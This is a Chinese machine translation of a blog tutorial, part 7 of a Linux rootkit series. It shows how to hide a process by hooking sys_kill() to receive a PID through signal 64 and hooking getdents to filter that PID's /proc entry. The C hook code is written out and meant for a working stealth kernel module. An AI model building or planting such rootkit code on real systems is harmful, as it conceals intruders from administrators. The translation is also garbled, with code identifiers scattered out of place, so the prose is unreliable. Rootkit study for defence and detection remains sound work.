Xcellerator
密码学Linux其他逆向工程
文章目录
- [Linux Rootkit 第 7 部分:隐藏进程](https://xcellerator.github.io/posts/linux_rootkits_07/)
- 选择要隐藏的 PID
- 隐藏 PID
Linux Rootkit 第 7 部分:隐藏进程
2020-10-01 :: TheXcellerator
# linux # rootkit #隐身 #进程
现在我们知道了如何隐藏目录(参见上次),我们还可以隐藏进程!这是因为几乎所有为我们提供进程信息的用户空间工具都只是读取文件系统的内容/proc/
。strace -e openat ps
我们可以通过查看or的输出来检查这一点strace -e openat top
。因此,如果我们隐藏带有我们想要保密的 PID 名称的目录,那么这些用户空间工具将不会注意到该进程的存在!
有一点需要注意的是,我们将隐藏所有具有我们要隐藏的 PID 名称的文件或目录。这种情况被发现的可能性相当低。
选择要隐藏的 PID
PID 非常难以预测,因此我们不想将其硬编码到我们的 Rootkit 中。因此,我们需要想出一种方法来告诉我们的模块我们想要隐藏哪个 PID。最简单的方法就是再次挂钩,sys_kill()
因为它已经构建为向内核发送 PID!我们可以再次实现自定义信号处理程序(如第 3 部分和第 5 部分)。唯一的区别是我们会将传递给信号的 PID64
写入全局hide_pid
变量,而不是仅仅忽略它。
的钩子sys_kill()
应该看起来像这样(一如既往,我只是说明使用更现代的调用方法的钩子- 更多信息可以在第 2 部分pt_regs
中找到):
/*
* hide_pid will store the string representation of the PID we're hiding
*/
char hide_pid[NAME_MAX];
/*
* Declaration for the real sys_kill() function
*/
static asmlinkage long (*orig_kill)(const struct pt_regs *);
/*
* The syscall hook
*/
asmlinkage int hook_kill(const struct pt_regs *regs)
{
/*
* Pull out the arguments we need from the pt_regs struct
*/
pid_t pid = regs->di;
int sig = regs->si;
/*
* If the signal is 64, then print a message to the kernel buffer and
* write the PID as a string to hide_pid
*/
if (sig == 64)
{
printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);
sprintf(hide_pid, "%d%", pid);
return 0;
}
/*
* Otherwise, just return the real sys_kill
*/
return orig_kill(regs);
}
复制
隐藏 PID
现在我们可以告诉 rootkit 我们想要隐藏哪个 PID,我们必须真正隐藏它!sys_getdents()
我们这样做的方法是从第 6 部分获取钩子,并将与 进行比较sys_getdents64()
的行替换为与它进行比较的行- 请参阅新的第 72 行:current_dir->d_name``PREFIX``hide_pid``rootkit.c
if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0)
&& (strncmp(hide_pid, "", NAME_MAX) != 0) )
{
/* Hide the directory with name in hide_pid */
}
复制
请注意,我们还必须确保它
hide_pid
不为空!如果我们不这样做,那么该模块将通过隐藏系统上的每个目录来启动。这是因为strlen(hide_pid)
will 是0
,所以对 的调用memcmp()
将始终返回 true 。
这几乎就是全部内容了!一旦我们将内核模块的其余部分(Ftrace 等)放在一起,我们就可以构建它并尝试它。完整的源代码(包含头文件和 Makefile)位于repo上。
我们来尝试一下吧!
成功!PID43218
从 - 的输出中隐藏起来ps
,我们甚至不必那么努力!这似乎是一个简单的技术,但这只是因为我们重新利用了我们已经介绍过的两个不同的系统调用挂钩:sys_kill()
在第 3 部分和sys_getdents()
/sys_getdents64()
在第 6 部分。
唯一的缺点是我们一次只能隐藏一个 PID。对多个 PID 的支持留待您尝试。但请注意,这并不像听起来那么简单!
希望您喜欢这个 - 它比平常短一点,但这只是因为这里没有太多新内容,只是我们已经介绍过的技术的巧妙组合。
直到下一次…
阅读其他帖子
←Linux Rootkit 第 8 部分:隐藏开放端口使用内核模块逃逸特权容器→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
panr](https://twitter.com/panr)制作的主题
该网站是闹鬼网络的一部分
<<< 随机 >>>